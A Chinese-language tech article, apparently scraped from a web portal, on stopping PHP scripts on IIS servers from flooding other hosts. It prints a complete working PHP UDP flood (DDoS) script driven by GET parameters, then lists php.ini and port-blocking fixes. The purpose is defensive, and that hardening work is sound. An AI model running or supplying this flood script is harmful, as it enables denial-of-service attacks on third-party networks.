用PHP代碼調用sockets,直接用伺服器的網路攻擊別的IP,以前我在apache下有碰到這樣的問題,今天我們講講述一下關於在iis防止php ddos占完網路頻寬與伺服器資源的處理辦法。
php ddos的常見代碼如下:
| 代碼如下 |
複製代碼 |
$packets = 0; $ip = $_GET['ip']; $rand = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); print "Flooded: $ip on port $rand "; $max_time = $time+$exec_time; for($i=0;$i<65535;$i++){ $out .= "X"; } while(1){ $packets++; if(time() > $max_time){ break; }
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n"; ?> |
表現特徵:
一開啟IIS,伺服器的流出頻寬就用光-----就是說伺服器不斷向別人發包,這個情況和受到DDOS攻擊是不同的,DDOS是不斷收到大量資料包.
解決辦法:
在c:windowsphp.ini裡設其值為Off
| 代碼如下 |
複製代碼 |
allow_url_fopen = Off |
並且:
| 代碼如下 |
複製代碼 |
;extension=php_sockets.dll |
前面的;號一定要有,意思就是限制用sockets.dll
然後:
| 代碼如下 |
複製代碼 |
; ignore_user_abort = On |
前面的;號要去掉
然後重啟IIS
如果上述方式仍然無效,你可以在IIS中,允許的擴充中,禁止PHP的擴充測試.
註:如果你的伺服器不要運行機制php可以關閉,如果需要的話可以把php_sockets.dll 給禁止,還有一種辦法就是把udp連接埠全部封了,只要80等一些重要的連接埠開放就可以了。
http://www.bkjia.com/PHPjc/444702.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/444702.htmlTechArticle用PHP代碼調用sockets,直接用伺服器的網路攻擊別的IP,以前我在apache下有碰到這樣的問題,今天我們講講述一下關於在iis防止php ddos占完網路帶...